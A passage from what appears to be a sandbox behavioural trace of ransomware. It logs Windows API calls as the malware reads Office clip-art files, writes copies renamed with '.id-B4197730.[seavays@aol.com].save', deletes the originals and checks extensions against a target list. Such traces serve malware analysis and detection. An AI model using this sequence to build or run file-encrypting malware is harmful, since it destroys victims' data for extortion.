0x534 [0188.895] GetLastError () returned 0x0 [0188.895] ReadFile (in: hFile=0x444, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x7214, lpOverlapped=0x0) returned 1 [0188.901] WriteFile (in: hFile=0x534, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x7220, lpOverlapped=0x0) returned 1 [0188.903] ReadFile (in: hFile=0x444, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0188.903] WriteFile (in: hFile=0x534, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0188.903] SetEndOfFile (hFile=0x534) returned 1 [0188.904] CloseHandle (hObject=0x534) returned 1 [0188.904] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.904] SetEndOfFile (hFile=0x444) returned 1 [0188.909] CloseHandle (hObject=0x444) returned 1 [0188.909] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0188.915] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178459.jpg")) returned 1 [0188.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68 [0188.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68 [0188.916] lstrlenW (lpString=".doc") returned 4 [0188.916] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0188.916] lstrlenW (lpString=".docx") returned 5 [0188.916] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0188.916] lstrlenW (lpString=".pdf") returned 4 [0188.916] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0188.916] lstrlenW (lpString=".xls") returned 4 [0188.916] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0188.916] lstrlenW (lpString=".xlsx") returned 5 [0188.916] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0188.916] lstrlenW (lpString=".ppt") returned 4 [0188.916] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0188.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68 [0188.916] lstrlenW (lpString=".zip") returned 4 [0188.916] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0188.917] lstrlenW (lpString=".rar") returned 4 [0188.917] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0188.917] lstrlenW (lpString=".bz2") returned 4 [0188.917] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0188.917] lstrlenW (lpString=".7z") returned 3 [0188.917] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0188.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68 [0188.917] lstrlenW (lpString=".dbf") returned 4 [0188.917] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0188.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68 [0188.917] lstrlenW (lpString=".1cd") returned 4 [0188.917] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0188.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68 [0188.917] lstrlenW (lpString=".jpg") returned 4 [0188.917] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0188.919] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=16615) returned 1 [0188.919] CloseHandle (hObject=0x444) returned 1 [0188.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182689.jpg")) returned 0x220 [0188.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182689.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0188.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182689.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0188.920] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.921] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182689.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0188.922] GetLastError () returned 0x0 [0188.922] ReadFile (in: hFile=0x444, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x40e7, lpOverlapped=0x0) returned 1 [0188.925] WriteFile (in: hFile=0x534, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x40f0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x40f0, lpOverlapped=0x0) returned 1 [0188.927] ReadFile (in: hFile=0x444, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0188.927] WriteFile (in: hFile=0x534, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0188.927] SetEndOfFile (hFile=0x534) returned 1 [0188.927] CloseHandle (hObject=0x534) returned 1 [0188.927] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.927] SetEndOfFile (hFile=0x444) returned 1 [0188.931] CloseHandle (hObject=0x444) returned 1 [0188.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0188.932] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182689.jpg")) returned 1 [0188.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG") returned 68 [0188.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG") returned 68 [0188.933] lstrlenW (lpString=".doc") returned 4 [0188.995] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0188.995] lstrlenW (lpString=".docx") returned 5 [0188.995] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0188.995] lstrlenW (lpString=".pdf") returned 4 [0188.995] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0188.995] lstrlenW (lpString=".xls") returned 4 [0188.995] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0188.995] lstrlenW (lpString=".xlsx") returned 5 [0188.995] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0188.995] lstrlenW (lpString=".ppt") returned 4 [0188.995] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0188.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG") returned 68 [0188.995] lstrlenW (lpString=".zip") returned 4 [0188.996] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0188.996] lstrlenW (lpString=".rar") returned 4 [0188.996] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0188.996] lstrlenW (lpString=".bz2") returned 4 [0188.996] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0188.996] lstrlenW (lpString=".7z") returned 3 [0188.996] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0188.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG") returned 68 [0188.996] lstrlenW (lpString=".dbf") returned 4 [0188.996] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0188.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG") returned 68 [0188.996] lstrlenW (lpString=".1cd") returned 4 [0188.996] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0188.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG") returned 68 [0188.996] lstrlenW (lpString=".jpg") returned 4 [0188.996] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0189.301] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=15150) returned 1 [0189.302] CloseHandle (hObject=0x55c) returned 1 [0189.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182898.wmf")) returned 0x220 [0189.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182898.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0189.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182898.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0189.307] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.307] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182898.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0189.309] GetLastError () returned 0x0 [0189.309] ReadFile (in: hFile=0x55c, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x3b2e, lpOverlapped=0x0) returned 1 [0189.311] WriteFile (in: hFile=0x560, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x3b30, lpOverlapped=0x0) returned 1 [0189.314] ReadFile (in: hFile=0x55c, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.314] WriteFile (in: hFile=0x560, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0189.314] SetEndOfFile (hFile=0x560) returned 1 [0189.315] CloseHandle (hObject=0x560) returned 1 [0189.315] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.315] SetEndOfFile (hFile=0x55c) returned 1 [0189.319] CloseHandle (hObject=0x55c) returned 1 [0189.320] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0189.320] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182898.wmf")) returned 1 [0189.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68 [0189.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68 [0189.322] lstrlenW (lpString=".doc") returned 4 [0189.322] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.322] lstrlenW (lpString=".docx") returned 5 [0189.322] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0189.322] lstrlenW (lpString=".pdf") returned 4 [0189.322] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.322] lstrlenW (lpString=".xls") returned 4 [0189.322] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.322] lstrlenW (lpString=".xlsx") returned 5 [0189.322] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0189.322] lstrlenW (lpString=".ppt") returned 4 [0189.322] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68 [0189.323] lstrlenW (lpString=".zip") returned 4 [0189.323] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.323] lstrlenW (lpString=".rar") returned 4 [0189.323] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.323] lstrlenW (lpString=".bz2") returned 4 [0189.323] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.323] lstrlenW (lpString=".7z") returned 3 [0189.323] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68 [0189.323] lstrlenW (lpString=".dbf") returned 4 [0189.323] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68 [0189.323] lstrlenW (lpString=".1cd") returned 4 [0189.323] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68 [0189.323] lstrlenW (lpString=".jpg") returned 4 [0189.323] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.324] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=16082) returned 1 [0189.324] CloseHandle (hObject=0x55c) returned 1 [0189.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182946.wmf")) returned 0x220 [0189.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182946.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0189.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182946.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0189.326] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.327] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182946.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0189.328] GetLastError () returned 0x0 [0189.328] ReadFile (in: hFile=0x55c, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x3ed2, lpOverlapped=0x0) returned 1 [0189.331] WriteFile (in: hFile=0x560, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x3ee0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x3ee0, lpOverlapped=0x0) returned 1 [0189.333] ReadFile (in: hFile=0x55c, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.333] WriteFile (in: hFile=0x560, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0189.333] SetEndOfFile (hFile=0x560) returned 1 [0189.334] CloseHandle (hObject=0x560) returned 1 [0189.334] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.334] SetEndOfFile (hFile=0x55c) returned 1 [0189.338] CloseHandle (hObject=0x55c) returned 1 [0189.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0189.339] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182946.wmf")) returned 1 [0189.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF") returned 68 [0189.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF") returned 68 [0189.495] lstrlenW (lpString=".doc") returned 4 [0189.495] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.495] lstrlenW (lpString=".docx") returned 5 [0189.495] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0189.495] lstrlenW (lpString=".pdf") returned 4 [0189.495] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.495] lstrlenW (lpString=".xls") returned 4 [0189.495] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.495] lstrlenW (lpString=".xlsx") returned 5 [0189.495] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0189.495] lstrlenW (lpString=".ppt") returned 4 [0189.495] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF") returned 68 [0189.495] lstrlenW (lpString=".zip") returned 4 [0189.495] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.495] lstrlenW (lpString=".rar") returned 4 [0189.495] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.495] lstrlenW (lpString=".bz2") returned 4 [0189.495] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.495] lstrlenW (lpString=".7z") returned 3 [0189.496] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF") returned 68 [0189.496] lstrlenW (lpString=".dbf") returned 4 [0189.496] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF") returned 68 [0189.496] lstrlenW (lpString=".1cd") returned 4 [0189.496] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF") returned 68 [0189.496] lstrlenW (lpString=".jpg") returned 4 [0189.496] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.500] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=24430) returned 1 [0189.500] CloseHandle (hObject=0x534) returned 1 [0189.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183198.wmf")) returned 0x220 [0189.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183198.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0189.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183198.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0189.503] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.503] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183198.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0189.505] GetLastError () returned 0x0 [0189.505] ReadFile (in: hFile=0x534, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x5f6e, lpOverlapped=0x0) returned 1 [0189.508] WriteFile (in: hFile=0x568, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x5f70, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x5f70, lpOverlapped=0x0) returned 1 [0189.510] ReadFile (in: hFile=0x534, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.510] WriteFile (in: hFile=0x568, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0189.511] SetEndOfFile (hFile=0x568) returned 1 [0189.511] CloseHandle (hObject=0x568) returned 1 [0189.511] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.511] SetEndOfFile (hFile=0x534) returned 1 [0189.515] CloseHandle (hObject=0x534) returned 1 [0189.515] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0189.516] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183198.wmf")) returned 1 [0189.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68 [0189.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68 [0189.518] lstrlenW (lpString=".doc") returned 4 [0189.518] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.518] lstrlenW (lpString=".docx") returned 5 [0189.518] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0189.518] lstrlenW (lpString=".pdf") returned 4 [0189.518] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.519] lstrlenW (lpString=".xls") returned 4 [0189.519] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.519] lstrlenW (lpString=".xlsx") returned 5 [0189.519] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0189.519] lstrlenW (lpString=".ppt") returned 4 [0189.519] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68 [0189.519] lstrlenW 